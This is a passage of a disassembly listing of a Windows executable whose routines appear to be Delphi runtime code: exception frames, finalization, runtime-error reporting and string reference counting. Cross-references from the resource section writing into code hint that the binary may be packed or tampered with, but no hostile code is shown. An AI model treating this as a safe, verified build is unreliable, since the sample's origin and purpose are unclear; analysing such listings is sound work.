sub_4031E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403208	proc near		; CODE XREF: sub_403468:loc_4034F8p
		xor	edx, edx
		mov	eax, ds:dword_407624
		test	eax, eax
		jz	short locret_40322F
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_403222
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_403220:				; CODE XREF: sub_403208+21j
		mov	ecx, [ecx]


loc_403222:				; CODE XREF: sub_403208+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_40322F
		cmp	[ecx], eax
		jnz	short loc_403220
		mov	eax, [eax]
		mov	[ecx], eax

locret_40322F:				; CODE XREF: sub_403208+9j
					; sub_403208+1Dj
		retn
sub_403208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403230	proc near		; CODE XREF: sub_403230+5Ap
					; sub_4032A0+5Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00402EA8 SIZE 00000104 BYTES
; FUNCTION CHUNK AT 00402FCC SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_407620
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_403299
		mov	ebx, [esi+0Ch]
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_403285
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jle	short loc_40327B


loc_403260:				; CODE XREF: sub_403230+49j
		dec	ebx
		mov	[esi+0Ch], ebx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+ebx*8+4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403277
		call	[ebp+var_8]


loc_403277:				; CODE XREF: sub_403230+42j
		test	ebx, ebx
		jg	short loc_403260


loc_40327B:				; CODE XREF: sub_403230+2Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403299
; ---------------------------------------------------------------------------


loc_403285:				; DATA XREF: sub_403230+21o
		jmp	loc_402EA8
; ---------------------------------------------------------------------------
		call	sub_403230
		call	sub_40300C
		call	sub_403060


loc_403299:				; CODE XREF: sub_403230+13j
					; sub_403230+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_403230	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032A0	proc near		; CODE XREF: sub_403310+3Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_407620
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_403309
		mov	esi, [eax]
		xor	ebx, ebx
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4032F5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	esi, ebx
		jle	short loc_4032EB


loc_4032D1:				; CODE XREF: sub_4032A0+49j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+ebx*8]
		mov	[ebp+var_8], eax
		inc	ebx
		mov	[edi+0Ch], ebx
		cmp	[ebp+var_8], 0
		jz	short loc_4032E7
		call	[ebp+var_8]


loc_4032E7:				; CODE XREF: sub_4032A0+42j
		cmp	esi, ebx
		jg	short loc_4032D1


loc_4032EB:				; CODE XREF: sub_4032A0+2Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403309
; ---------------------------------------------------------------------------


loc_4032F5:				; DATA XREF: sub_4032A0+22o
		jmp	loc_402EA8
; ---------------------------------------------------------------------------
		call	sub_403230
		call	sub_40300C
		call	sub_403060


loc_403309:				; CODE XREF: sub_4032A0+13j
					; sub_4032A0+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4032A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_403310	proc near		; CODE XREF: sub_403C10+3Ap
		mov	ds:off_407010, offset sub_401008
		mov	ds:off_407014, offset sub_401010
		mov	ds:off_407628, eax
		xor	eax, eax
		mov	ds:dword_40762C, eax
		mov	ds:off_407630, edx
		mov	eax, [edx+4]
		mov	ds:dword_40701C, eax
		call	sub_4031E8
		mov	ds:byte_407024,	0
		call	sub_4032A0
		retn
sub_403310	endp


; =============== S U B	R O U T	I N E =======================================



sub_403350	proc near		; CODE XREF: sub_403468+34p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	cl, 10h
		mov	ebx, ds:dword_406000


loc_403360:				; CODE XREF: sub_403350+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_403360
		mov	cl, 1Ch
		mov	eax, ds:dword_406004


loc_40338C:				; CODE XREF: sub_403350+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_406074[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_40338C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403350	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4033AC	proc near		; CODE XREF: sub_403468+A4p
		xor	eax, eax
		xchg	eax, ds:dword_406000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_407620
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_4033AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4033DC	proc near		; CODE XREF: sub_403468+39p

var_4		= byte ptr -4

		push	ecx
		cmp	ds:byte_407034,	0
		jz	short loc_40343D
		cmp	ds:word_407208,	0D7B2h
		jnz	short loc_403405
		cmp	ds:dword_407210, 0
		jbe	short loc_403405
		mov	eax, offset dword_407204
		call	ds:dword_407220


loc_403405:				; CODE XREF: sub_4033DC+13j
					; sub_4033DC+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"


loc_403413:				; DATA XREF: .rsrc:00439A87o
		push	0FFFFFFF5h
		call	sub_401000	; GetStdHandle
		push	eax
		call	sub_401020	; WriteFile
		push	0
		lea	eax, [esp+4]
		push	eax
		push	2


loc_403429:				; DATA XREF: .rsrc:00438D52r
					; .rsrc:loc_438D6Cr ...
		push	offset dword_403464
		push	0FFFFFFF5h


loc_403430:				; DATA XREF: .rsrc:00438F34r
					; sub_439603+73w ...
		call	sub_401000	; GetStdHandle


loc_403435:				; DATA XREF: sub_437796+3Fr
		push	eax
		call	sub_401020	; WriteFile
		pop	edx

locret_40343C:				; DATA XREF: .rsrc:004376D3r
					; .rsrc:loc_438BA9r ...
		retn
; ---------------------------------------------------------------------------


loc_40343D:				; CODE XREF: sub_4033DC+8j
		cmp	ds:byte_406018,	0
		jnz	short loc_403459
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_401038	; MessageBoxA


loc_403459:				; CODE XREF: sub_4033DC+68j
		pop	edx
		retn
sub_4033DC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_403464	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403468	proc near		; CODE XREF: sub_403548+5p
					; CODE:0040544Ep

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, offset dword_407620
		mov	esi, offset dword_407030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_403493
		cmp	dword ptr [esi], 0
		jz	short loc_403493


loc_403482:				; CODE XREF: sub_403468+29j
		mov	eax, [esi]
		mov	[esp+14h+var_14], eax
		xor	eax, eax
		mov	[esi], eax
		call	[esp+14h+var_14]
		cmp	dword ptr [esi], 0
		jnz	short loc_403482


loc_403493:				; CODE XREF: sub_403468+13j
					; sub_403468+18j
		cmp	ds:dword_406004, 0
		jz	short loc_4034AD
		call	sub_403350
		call	sub_4033DC
		xor	eax, eax
		mov	ds:dword_406004, eax


loc_4034AD:				; CODE XREF: sub_403468+32j
					; sub_403468+D5j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_4034C1
		cmp	ds:dword_406000, 0
		jnz	short loc_4034C1
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_4034C1:				; CODE XREF: sub_403468+49j
					; sub_403468+52j
		call	sub_403230
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_4034D5
		cmp	ds:dword_406000, 0
		jz	short loc_4034F8


loc_4034D5:				; CODE XREF: sub_403468+62j
		mov	edi, [ebx+10h]
		test	edi, edi
		jz	short loc_4034F8
		mov	eax, edi
		call	sub_40392C
		mov	ebp, [ebx+10h]
		mov	esi, [ebp+10h]
		cmp	esi, [ebp+4]
		jz	short loc_4034F8
		test	esi, esi
		jz	short loc_4034F8
		push	esi
		call	sub_401040	; FreeLibrary


loc_4034F8:				; CODE XREF: sub_403468+6Bj
					; sub_403468+72j ...
		call	sub_403208
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_403506
		call	dword ptr [ebx+24h]


loc_403506:				; CODE XREF: sub_403468+99j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_403511
		call	sub_4033AC


loc_403511:				; CODE XREF: sub_403468+A2j
		cmp	dword ptr [ebx], 0
		jnz	short loc_403530
		cmp	ds:dword_407018, 0
		jz	short loc_403525
		call	ds:dword_407018


loc_403525:				; CODE XREF: sub_403468+B5j
		mov	eax, ds:dword_406000
		push	eax
		call	sub_401030	; ExitProcess


loc_403530:				; CODE XREF: sub_403468+ACj
		mov	eax, [ebx]
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		jmp	loc_4034AD
sub_403468	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		pop	ebp


loc_403544:				; DATA XREF: sub_437796+3w
					; sub_437796+13r
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403548	proc near		; CODE XREF: sub_402854+6p
					; sub_403554+6j ...
		mov	ds:dword_406000, eax
		call	sub_403468
sub_403548	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403554	proc near		; CODE XREF: CODE:004031DDj
					; sub_403B80+1Ap ...
		pop	ds:dword_406004
		jmp	sub_403548
sub_403554	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403560	proc near		; CODE XREF: sub_402A6C+Ep
					; sub_403624+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_403582
		mov	dword ptr [eax], 0


loc_40356C:				; DATA XREF: .rsrc:00438097r
		mov	ecx, [edx-8]
		dec	ecx


loc_403570:				; DATA XREF: sub_437796:loc_43797Fr
		jl	short locret_403582
		lock dec dword ptr [edx-8]
		jnz	short locret_403582
		push	eax
		lea	eax, [edx-8]


loc_40357C:				; DATA XREF: sub_43940D+7r
		call	sub_4027E4
		pop	eax

locret_403582:				; CODE XREF: sub_403560+4j
					; sub_403560:loc_403570j ...
		retn
sub_403560	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403584	proc near		; CODE XREF: sub_403F24+114p
					; sub_4041C0+259p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_40358A:				; CODE XREF: sub_403584+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_4035AA
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_4035AA
		lock dec dword ptr [edx-8]


loc_4035A0:				; DATA XREF: sub_43940D+BDr
		jnz	short loc_4035AA
		lea	eax, [edx-8]
		call	sub_4027E4


loc_4035AA:				; CODE XREF: sub_403584+Aj
					; sub_403584+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_40358A
		pop	esi
		pop	ebx
		retn
sub_403584	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4035B4	proc near		; CODE XREF: sub_403690+8j
					; sub_4036D4+6j ...
		test	edx, edx
		jz	short loc_4035DC


loc_4035B8:				; DATA XREF: sub_439949+3Br
		mov	ecx, [edx-8]
		inc	ecx


loc_4035BC:				; DATA XREF: sub_43796F+7r
		jg	short loc_4035D8
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_4035F8


loc_4035C8:				; DATA XREF: sub_437796+12Er
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_4028C8


loc_4035D4:				; DATA XREF: sub_437796+22Ar
					; sub_437FCB:loc_43802Fr
		pop	edx
		pop	eax
		jmp	short loc_4035DC
; ---------------------------------------------------------------------------


loc_4035D8:				; CODE XREF: sub_4035B4:loc_4035BCj
					; DATA XREF: sub_437796+248r ...
		lock inc dword ptr [edx-8]


loc_4035DC:				; CODE XREF: sub_4035B4+2j
					; sub_4035B4+22j
					; DATA XREF: ...
		xchg	edx, [eax]
		test	edx, edx


loc_4035E0:				; DATA XREF: sub_437796+2CDr
		jz	short locret_4035F6
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_4035F6


loc_4035E8:				; DATA XREF: sub_437796+239r
					; sub_437FCB+75r
		lock dec dword ptr [edx-8]
		jnz	short locret_4035F6
		lea	eax, [edx-8]
		call	sub_4027E4

locret_4035F6:				; CODE XREF: sub_4035B4:loc_4035E0j
					; sub_4035B4+32j ...
		retn
sub_4035B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4035F8	proc near		; CODE XREF: sub_4035B4+Fp
					; sub_403624+Bp ...
		test	eax, eax
		jle	short loc_403620
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_4027B4
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_403620:				; CODE XREF: sub_4035F8+2j
		xor	eax, eax
		retn
sub_4035F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403624	proc near		; CODE XREF: sub_402A6C+30p
					; sub_403654+8p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_4035F8
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_403645
		mov	edx, eax
		mov	eax, esi
		call	sub_4028C8


loc_403645:				; CODE XREF: sub_403624+16j
		mov	eax, ebx
		call	sub_403560
		mov	[ebx], edi


loc_40364E:				; DATA XREF: sub_437796+26Dr
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403624	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403654	proc near		; CODE XREF: sub_4040B4+90p
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_403624
		pop	edx
		retn
sub_403654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403664	proc near		; CODE XREF: sub_4045CC+28p
					; sub_404D90+28p
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_403624
sub_403664	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403670	proc near		; CODE XREF: sub_4039B0+36p
					; sub_404E50+2Bp
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_40367D
		not	ecx


loc_40367D:				; CODE XREF: sub_403670+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_403624
sub_403670	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403688	proc near		; CODE XREF: sub_403D14+Fp
					; sub_403E38+Fp
		test	eax, eax
		jz	short locret_40368F
		mov	eax, [eax-4]

locret_40368F:				; CODE XREF: sub_403688+2j
		retn
sub_403688	endp


; =============== S U B	R O U T	I N E =======================================



sub_403690	proc near		; CODE XREF: sub_4036D4+1Dj
					; sub_4036D4+6Ej ...
		test	edx, edx
		jz	short locret_4036D3
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_4035B4
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_4036C8
		call	sub_403854
		mov	eax, esi
		mov	ecx, [esi-4]


loc_4036BB:				; CODE XREF: sub_403690+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_4028C8
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4036C8:				; CODE XREF: sub_403690+1Fj
		call	sub_403854
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_4036BB
; ---------------------------------------------------------------------------

locret_4036D3:				; CODE XREF: sub_403690+2j
		retn
sub_403690	endp


; =============== S U B	R O U T	I N E =======================================



sub_4036D4	proc near		; CODE XREF: CODE:00405337p
		test	edx, edx
		jz	short loc_403739
		test	ecx, ecx
		jz	sub_4035B4
		cmp	edx, [eax]
		jz	short loc_403740
		cmp	ecx, [eax]
		jz	short loc_4036F6
		push	eax
		push	ecx
		call	sub_4035B4
		pop	edx
		pop	eax
		jmp	sub_403690
; ---------------------------------------------------------------------------


loc_4036F6:				; CODE XREF: sub_4036D4+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, ecx
		push	eax
		mov	eax, [ebx-4]
		add	eax, [esi-4]
		call	sub_4035F8
		mov	edi, eax
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, [ebx-4]
		call	sub_4028C8
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [esi-4]
		add	edx, [ebx-4]
		call	sub_4028C8
		pop	eax
		mov	edx, edi
		test	edi, edi
		jz	short loc_403730
		dec	dword ptr [edi-8]


loc_403730:				; CODE XREF: sub_4036D4+57j
		call	sub_4035B4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_403739:				; CODE XREF: sub_4036D4+2j
		mov	edx, ecx
		jmp	sub_4035B4
; ---------------------------------------------------------------------------


loc_403740:				; CODE XREF: sub_4036D4+Ej
		mov	edx, ecx
		jmp	sub_403690
sub_4036D4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403748	proc near		; CODE XREF: sub_404E94+3Cp
					; sub_404E94+65p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_4037E6
		test	esi, esi
		jz	short loc_4037C3
		test	edi, edi
		jz	short loc_4037CA
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_40376B
		add	edx, eax


loc_40376B:				; CODE XREF: sub_403748+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_403797


loc_403771:				; CODE XREF: sub_403748+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_4037D1
		dec	edx
		jz	short loc_403791
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_4037D1
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_403771
		jmp	short loc_403797
; ---------------------------------------------------------------------------


loc_403791:				; CODE XREF: sub_403748+32j
		add	esi, 4
		add	edi, 4


loc_403797:				; CODE XREF: sub_403748+27j
					; sub_403748+47j
		pop	edx
		and	edx, 3
		jz	short loc_4037BF
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_4037E6
		dec	edx
		jz	short loc_4037BF
		cmp	ch, bh
		jnz	short loc_4037E6
		dec	edx
		jz	short loc_4037BF
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_4037E6


loc_4037BF:				; CODE XREF: sub_403748+53j
					; sub_403748+5Ej ...
		add	eax, eax
		jmp	short loc_4037E6
; ---------------------------------------------------------------------------


loc_4037C3:				; CODE XREF: sub_403748+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_4037E6
; ---------------------------------------------------------------------------


loc_4037CA:				; CODE XREF: sub_403748+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_4037E6
; ---------------------------------------------------------------------------


loc_4037D1:				; CODE XREF: sub_403748+2Fj
					; sub_403748+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_4037E6
		cmp	ch, bh
		jnz	short loc_4037E6
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_4037E6
		cmp	ch, bh


loc_4037E6:				; CODE XREF: sub_403748+9j
					; sub_403748+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403748	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4037EC	proc near		; CODE XREF: sub_403F24+17p
					; sub_4040B4+14p ...
		test	eax, eax
		jz	short locret_4037FA
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_4037FA
		lock inc dword ptr [eax-8]

locret_4037FA:				; CODE XREF: sub_4037EC+2j
					; sub_4037EC+8j
		retn
sub_4037EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4037FC	proc near		; CODE XREF: sub_403E38+2Ap
					; sub_403F24+7Dp ...
		test	eax, eax
		jz	short loc_403802
		retn
; ---------------------------------------------------------------------------
byte_403801	db 0			; DATA XREF: sub_4037FC:loc_403802o
; ---------------------------------------------------------------------------


loc_403802:				; CODE XREF: sub_4037FC+2j
		mov	eax, offset byte_403801
		retn
sub_4037FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_403808	proc near		; CODE XREF: sub_40384Cj
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_403846
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_403846
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_4035F8
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_4028C8
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_403843
		lock dec dword ptr [eax-8]
		jnz	short loc_403843
		lea	eax, [eax-8]
		call	sub_4027E4


loc_403843:				; CODE XREF: sub_403808+2Bj
					; sub_403808+31j
		mov	edx, [ebx]
		pop	ebx


loc_403846:				; CODE XREF: sub_403808+4j
					; sub_403808+Aj
		mov	eax, edx
		retn
sub_403808	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40384C	proc near		; CODE XREF: sub_403E38+22p
					; sub_403F24+40p ...
		jmp	sub_403808
sub_40384C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403854	proc near		; CODE XREF: sub_402908+B3p
					; sub_403690+21p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_4038A9
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40388A
		cmp	dword ptr [eax-8], 1
		jnz	short loc_40388A
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_402804
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_4038B2
; ---------------------------------------------------------------------------


loc_40388A:				; CODE XREF: sub_403854+11j
					; sub_403854+17j
		mov	eax, edx
		call	sub_4035F8
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4038A9
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_4038A4
		mov	ecx, esi


loc_4038A4:				; CODE XREF: sub_403854+4Cj
		call	sub_4028C8


loc_4038A9:				; CODE XREF: sub_403854+Bj
					; sub_403854+43j
		mov	eax, ebx
		call	sub_403560
		mov	[ebx], edi


loc_4038B2:				; CODE XREF: sub_403854+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403854	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4038B8	proc near		; DATA XREF: sub_403A78+2Fo
					; BSS:off_407000o
		mov	al, 11h
		jmp	sub_4028AC
sub_4038B8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038C0	proc near		; CODE XREF: sub_40392C+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_406020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403913


loc_4038DA:				; CODE XREF: sub_4038C0+51j
		xor	eax, eax
		push	ebp
		push	offset loc_4038FB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403905
; ---------------------------------------------------------------------------


loc_4038FB:				; DATA XREF: sub_4038C0+1Do
		jmp	loc_402EA8
; ---------------------------------------------------------------------------
		call	sub_403060


loc_403905:				; CODE XREF: sub_4038C0+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4038DA


loc_403913:				; CODE XREF: sub_4038C0+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4038C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40391C	proc near		; CODE XREF: sub_403C04+5p
		mov	edx, ds:dword_40601C
		mov	[eax], edx
		mov	ds:dword_40601C, eax
		retn
sub_40391C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40392C	proc near		; CODE XREF: sub_403468+76p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset byte_4039A5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_4038C0
		xor	eax, eax
		pop	edx
		pop	ecx


loc_403952:				; DATA XREF: sub_43940D+16w
					; sub_439949+53r
		pop	ecx
		mov	fs:[eax], edx


loc_403956:				; DATA XREF: sub_43940D+4Bw
					; sub_43940D+73r ...
		push	offset unk_4039AC
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_40601C
		jnz	short loc_403972
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_40601C, eax
		jmp	short loc_4039A4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_40392C+38j
					; DATA XREF: .rsrc:0043926Br ...
		mov	eax, ds:dword_40601C
		mov	[ebp+var_8], eax


loc_40397A:				; DATA XREF: sub_4394DF+22w
					; sub_439603+2D1r
		cmp	[ebp+var_8], 0


loc_40397E:				; DATA XREF: sub_437796+CAw
					; sub_437796+DAw ...
		jz	short loc_4039A4


loc_403980:				; CODE XREF: sub_40392C:loc_4039A2j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, [ebp+var_4]
		jnz	short loc_403996


loc_40398A:				; DATA XREF: .rsrc:00438E96w
					; .rsrc:00438F91w ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	edx, [ebp+var_8]


loc_403992:				; DATA XREF: sub_4389C7w sub_438A04w ...
		mov	[edx], eax
		jmp	short loc_4039A4
; ---------------------------------------------------------------------------


loc_403996:				; CODE XREF: sub_40392C+5Cj
					; DATA XREF: .rsrc:loc_438C4Cr
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax


loc_40399E:				; DATA XREF: .rsrc:00438C6Aw
					; .rsrc:00438CB9r
		cmp	[ebp+var_8], 0


